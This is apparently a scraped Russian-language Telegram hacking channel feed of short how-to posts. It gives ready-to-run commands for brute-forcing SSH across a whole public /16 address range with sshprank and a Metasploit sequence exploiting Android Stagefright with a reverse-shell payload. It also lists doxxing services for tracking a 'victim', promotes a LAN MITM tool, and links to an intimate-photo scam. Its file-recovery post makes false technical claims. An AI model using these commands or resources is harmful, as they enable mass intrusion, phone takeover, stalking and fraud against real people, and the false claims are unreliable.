白雪姫の家

2021-05-19 15:00:56 Взлом SSH серверов

В данной статье мы разберемся, как просканировать получить доступ к большому количеству SSH-серверов с помощью программы Sshprank. Программа производит поиск компьютеров с работающим SSH-соединением и пытается получить доступ, используя метод перебора.

Установка:

apt-get update && apt-get upgrade
sudo apt-get install git python3-pip
git clone https://github.com/noptrix/sshprank
cd sshprank
sudo pip3 install -r docs/requirements.txt
echo -e 109.22.{0..255}.{0..255}"\n" | sed 's/ //' > council.txt

В фигурных скобках обозначен диапазон значений, которые будут сохранены текстовый файл под названием council.txt.

Запуск:

sshprank -l council.txt -U lists/user.txt -P lists/pws.txt -v

Данная команда запустит процесс перебора для подключения по SSH-соединению к хостам (council.txt), используя базу логинов (lists/user.txt) и паролей (lists/pws.txt). Вместо стандартных словарей рекомендуется использовать более мощные, поскольку это увеличит эффективность Открыть/Комментировать

2021-05-17 15:00:36 ​​Восстановление удалённых файлов на Windows

Безвозвратно удалить файл с жёсткого диска очень сложно. Полное удаление данных произойдёт только в том случае, если диск будет перезписан другими файлами, как минимум 7 раз, хотя и этого может быть не достаточно.

Восстановить данные можно с помощью программы Recuva. Для этого запустите утилиту, выберите тип нужного файла, и, по возможности, укажите его последнее местоположение.

Учтите, что восстановление даже самых простых файлов никогда не бывает на 100% удачным. Windows хранит не сами удалённые файлы, а лишь их сжатые образы для экономии места на диске. Открыть/Комментировать

2021-05-14 15:00:19 ​​Получаем полный доступ к телефону через ссылку

Сегодня будем использовать утилиту под названием Metasploit. С ее помощью можно получить полный удалённый доступ к смартфону на Android.

Эксплуатировать будем уязвимость - Stagefright. Она актуальна на относительно старых версиях Android (5.0 - 5.1.1)

Если у вас Kali Linux, то Metasploit уже стоит из коробки

Запуск:
msfconsole
use exploit/android/browser/stagefrightmp4tx3g64bit
set SRVHOST вашIP
set URIPATH /
set PAYLOAD linux/armle/mettle/reversetcp
set LHOST вашIP
set VERBOSE true
exploit -j Открыть/Комментировать

2021-05-11 16:09:36 ​​Подборка сервисов для пробива человека.

Pipl.com - второй сайт для поиска человека по номеру телефона, никнейму, почте или имени.

Scholar.google - с помощью данного сайта можно найти все связи человека с наукой.

220vk.com - даёт доступ к просмотру скрытых друзей, общих друзей между двумя любыми пользователями искомого человека.

vk.city4me.com - агент, с помощью которого можно узнать активность пользователя в социальной сети Вконтакте. Можно узнать график онлайна жертвы, кого он добавил в друзья и когда, кого убрал и так далее. Очень годный ресурс, а главное - бесплатный.

Nomer.org - данный сайт даёт возможно узнать, как зовут ту личность, которая вам недавно звонила, или по имени найти номер телефона и адрес проживания.

Findface.ru - позволяет найти профиль человека в Вконтакте по фотографии.

login.stop-list.info - очень годный сервис, ищет аккаунты по псевдониму в социальных сетях и прочей ереси.

Focus.kontur.ru - ищет по ФИО, если человек был связан с предпринимательской деятельностью. Используем демо-версию, правда, всего на сутки, но нужную информацию вы успеете найти.

http://www.nomer.org/ - самый огромный телефонный и адресной справочник что я видел, и при этом он вполне точный и подробный! В базе находиться около 30 городов Российской Федерации, около 40 округов, а также все города Украины. Можно найти много людей по имени фамилии и адресу проживания. Открыть/Комментировать

2021-05-10 15:00:41 ​Пиратский телеграм: альтернативный клиент мессенджера для Android

Многие знают о наличии альтернативных клиентов мессенджера Telegram, но со своими фишками - например, наличие видеочата или встроенного клиента TOR. Объединяет их то, что все они используют протокол MTProto, который был разработан Telegram, но остаётся в открытом доступе. Однако мало кто знает, что сама компания предоставляет несколько версий приложения.

Одна из таких версий - Telegram для Android, но не версия из Google Play Market, а APK-версия с официального сайта telegram.org. Сама компания кратко описывает отличие APK-версии от версии из Play Market, обещая только больше обновлений и меньше ограничений. Но именно в отличиях между версиями и кроется пиратская суть APK-версии.

С точки зрения интерфейса вы не найдёте разницы между клиентами, а вот с точки зрения доступного контента она существенна: в приложении, которое распространяется через Play Market, могут быть заблокированы боты или каналы, которые нарушают авторские права, в то время как в альтернативном клиенте таких ограничений нет. Открыть/Комментировать

2021-05-08 15:00:58 Взлом компьютеров в локальной сети

Инструмент lanGhost создан для управления локальной сетью. В его функционал входит: отключение интернета у целевого узла, замена всех картинок на веб-ресурсе, MITM и т.д. Реализация представляет собой программу на Python с панелью управления в виде бота Телеграм.

Установка:

git clone https://github.com/xdavidhu/lanGhost

Запуск:

cd LanGhost/
./setup.py Открыть/Комментировать

2021-05-06 15:00:51 ​Делаем свою сеть анонимной

Nipe - это скрипт, который делает сеть Tor вашим шлюзом по умолчанию. Данный скрипт на Perl позволяет вам напрямую направлять весь трафик с компьютера в сеть Tor, через которую вы можете анонимно выходить в Интернет, не беспокоясь о том, что за вашим IP будут следить или смогут вычислить по IP. В настоящее время Nipe поддерживает только IPv4, но ведутся работы для добавления поддержки IPv6. Через сеть Tor передаются запросы к сайтам, а также DNS запросы, предназначенные для локальных/петлевых адресов. Весь остальной нелокальный UDP/ICMP трафик блокируется. Приступим:

Установка:

git clone https://github.com/GouveaHeitor/nipe
cd nipe
sudo bash ./setup.sh
./nipe.pl --help

Использование:

./nipe.pl start. Открыть/Комментировать

2021-05-04 22:02:40 Не забываем про второй канал, там будет и уже есть много полезностей, а на этом канале уже в четверг новый пост. Открыть/Комментировать

2021-05-04 22:02:40 ​​LTE Cleaner

Приложение, которое помогает очистить мусор в операционной системе Андроид. Удаляет Логи, Временные Файлы, Пустые папки, Папки с рекламой, оставшиеся АПК файлы, и кэш.
================
@home_snowhite
================ Открыть/Комментировать

2021-05-04 18:00:14 Скам на интимках 2021

Самый простой способ!
За 10 минут 13к профита!

https://t.me/joinchat/UUcqZayN1Lw1OGYy
(Подробнее тут) Открыть/Комментировать